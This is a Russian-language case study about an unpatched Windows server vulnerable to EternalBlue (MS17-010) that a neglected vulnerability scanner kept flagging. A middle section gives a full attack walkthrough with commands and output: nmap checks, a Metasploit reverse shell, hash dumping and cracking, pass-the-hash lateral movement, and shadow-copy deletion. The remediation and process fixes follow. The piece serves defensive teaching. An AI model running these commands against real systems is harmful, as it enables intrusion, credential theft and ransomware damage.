История простая и от того особенно поучительная: инструмент купили, деньги потратили, а процесса не построили. В итоге дорогой сканер уязвимостей превратился в генератор PDF-файлов, которые складывали в папку и не открывали. Разберём этот случай подробнее — с техническими деталями того, что именно нашлось, как этим можно было воспользоваться и что реально сработало бы, если бы до атаки дошло.
Инструмент есть, процесса нет
На сервере компании лежала папка с полусотней отчётов сканера за год. Файлы открывали, бегло просматривали и закрывали — без назначенного ответственного, без сроков устранения, без приоритизации по критичности. Классическая ошибка: думают, что раз купили сканер — управление уязвимостями (Vulnerability Management, VM) появилось само собой. На деле VM — это процесс из трёх ролей:
- ИБ находит и классифицирует уязвимости по критичности (CVSS, эксплуатируемость, доступность из сети)
- ИТ устраняет их в согласованные сроки
- Руководитель расставляет приоритеты, если ресурсов на закрытие всего списка сразу не хватает
Без этой связки сканер работает вхолостую — он честно находит проблемы, но никто не берёт на себя ответственность за их закрытие.
Что нашлось внутри
При разборе свежего отчёта вместе с ИТ-директором выяснилось: критичная уязвимость на сервере, где крутилась учётная система склада и производства, висела открытой восемь месяцев. Технически картина была такой:
- на сервере (Windows Server, устаревшая сборка) был включён протокол SMBv1 — legacy-функция, оставленная «для совместимости со старым принтером» ещё при миграции
- патчи из бюллетеня MS17-010 не устанавливались — сервер оставался уязвим к CVE-2017-0143—0148 (в том числе знаменитый EternalBlue, CVE-2017-0144)
- сервер был доступен из общего сегмента сети без сегментации — офисные машины, склад и производственные ПК сидели в одном VLAN
- сканер регулярно фиксировал находку с максимальным CVSS-рейтингом (9.8, критичный, RCE без аутентификации), но она просто накапливалась в списке из полусотни пунктов
Ключевая деталь — эта уязвимость эксплуатируется без единого пароля и без учётной записи: достаточно сетевой доступности до порта 445.
Как это эксплуатируется
Показываю типовой путь атаки для такого класса уязвимостей — то, что увидел бы любой пентестер или злоумышленник, попав во внутреннюю сеть (через фишинг, скомпрометированный VPN или физический доступ к розетке в цеху).
1. Разведка сети
nmap -sS -p1-1000,3389,445,139,135 -sV --open 192.168.10.0/24 -oN scan.txt
Открытые 139/445 на сервере учётной системы — первый сигнал проверить SMB отдельно.
2. Проверка на MS17-010
nmap -p445 --script smb-vuln-ms17-010 192.168.10.55
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
Дополнительно можно подтвердить включённый SMBv1 напрямую с целевой машины (если есть доступ по WinRM/RDP-разведке):
Get-SmbServerConfiguration | Select EnableSMB1Protocol
3. Эксплуатация
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.10.55
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.10.10
run
[*] Started reverse TCP handler
[*] 192.168.10.55:445 - Connecting to target for exploitation.
[+] 192.168.10.55:445 - Target OS selected valid for OS indicated by SMB reply
[*] Sending all but last fragment of exploit packet
[+] 192.168.10.55:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Meterpreter session 1 opened (192.168.10.10:4444 -> 192.168.10.55:49158)
Сессия открывается с правами SYSTEM — то есть максимальными на этом хосте, без единого введённого пароля.
4. Закрепление и сбор учётных данных
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
svc_1c:1001:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
meterpreter > load kiwi
meterpreter > creds_all
Дампятся NTLM-хэши локальных учёток, в том числе сервисной учётки от учётной системы (svc_1c). Дальше — либо офлайн-подбор через hashcat, либо pass-the-hash без взлома вообще:
hashcat -m 1000 hashes.txt rockyou.txt --force
Session..........: hashcat
Status...........: Cracked
svc_1c:8846f7eaee8fb117ad06bdd830b7586c:Sklad2023!
5. Горизонтальное перемещение
crackmapexec smb 192.168.10.0/24 -u svc_1c -H 8846f7eaee8fb117ad06bdd830b7586c --shares
SMB 192.168.10.12 445 FS01 [+] CORP\svc_1c:8846f7... (Pwn3d!)
SMB 192.168.10.12 445 FS01 [*] Share: WAREHOUSE_DB Readable/Writable
SMB 192.168.10.12 445 FS01 [*] Share: 1C_BACKUP Readable/Writable
Одна дыра на одном сервере превращается в доступ к файловым шарам, резервным копиям учётной системы и — при попадании в привилегированную группу — к контроллеру домена.
Что и почему сработало бы дальше
Получив доступ уровня SYSTEM на сервере учётной системы и рабочие учётные данные, злоумышленник (или шифровальщик, автоматически сканирующий сеть на MS17-010, как это делал WannaCry в 2017 году) действует по стандартному сценарию:
- выгружает базу данных склада и производства — коммерческая информация о контрагентах, ценах, объёмах — для продажи или шантажа
- удаляет теневые копии, чтобы затруднить восстановление:
vssadmin delete shadows /all /quiet - распространяется по сети через тот же SMB на все хосты с открытым 445-м портом — это самое опасное свойство EternalBlue-подобных уязвимостей, самораспространение без участия человека
- шифрует файловые шары, включая базы 1С и бэкапы, если они лежали в той же сети без изоляции
- оставляет записку с требованием выкупа — и производство встаёт, пока не восстановят системы из офлайн-копий или не заплатят
Именно поэтому оценка в три-четыре дня простоя не выдумана: восстановление после шифровальщика с распространением по всей сети — это не «переустановить один сервер», а разбор всей инфраструктуры, проверка каждого хоста на закладки и последовательное поднятие сервисов.
Купить сканер — это как поставить дома камеры видеонаблюдения и никогда не смотреть запись. Технически всё зафиксировано. Толку от этого ноль.
Четыре грабли, на которые наступают чаще всего
- Отчёты сканера складывают в папку, но никто не назначен разбирать их регулярно
- Нет договорённости, кто и в какой срок чинит найденные дыры — ИБ и ИТ спорят, чья это задача
- Руководитель не в курсе рисков и не может расставить приоритеты, если чинить всё сразу нет ресурсов
- Считают, что раз разработку делают аккуратно и безопасно, старые уязвимости в системах можно не патчить — это разные вещи, одно не заменяет другое
Как закрыли
Новый инструмент не понадобился — сканер уже был, деньги на него потратили год назад. Технически закрытие конкретной дыры заняло один день:
# Отключение устаревшего протокола на сервере
Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart
# Установка накопительного обновления безопасности с патчем MS17-010
# (проверка наличия патча перед перезагрузкой)
Get-HotFix -Id KB4012212,KB4012213,KB4013429 | Select HotFixID, InstalledOn
Дальше — базовая сегментация: сервер учётной системы вынесли в отдельный VLAN с ограничением доступа по 445-му порту только с необходимых рабочих станций через ACL на коммутаторе/файрвол, сервисной учётке сменили пароль и включили политику ротации через LAPS.
Но главное изменение было не техническое, а организационное. Построили процесс:
- раз в неделю отчёт сканера автоматически парсится и критичные находки (CVSS ≥ 9) уходят в отдельный чат
- ИТ-отдел обязан закрыть критичную уязвимость за три рабочих дня — это SLA, зафиксированный на уровне регламента, а не устной договорённости
- если задача зависает дольше срока — уведомление автоматически уходит владельцу бизнеса в мессенджер
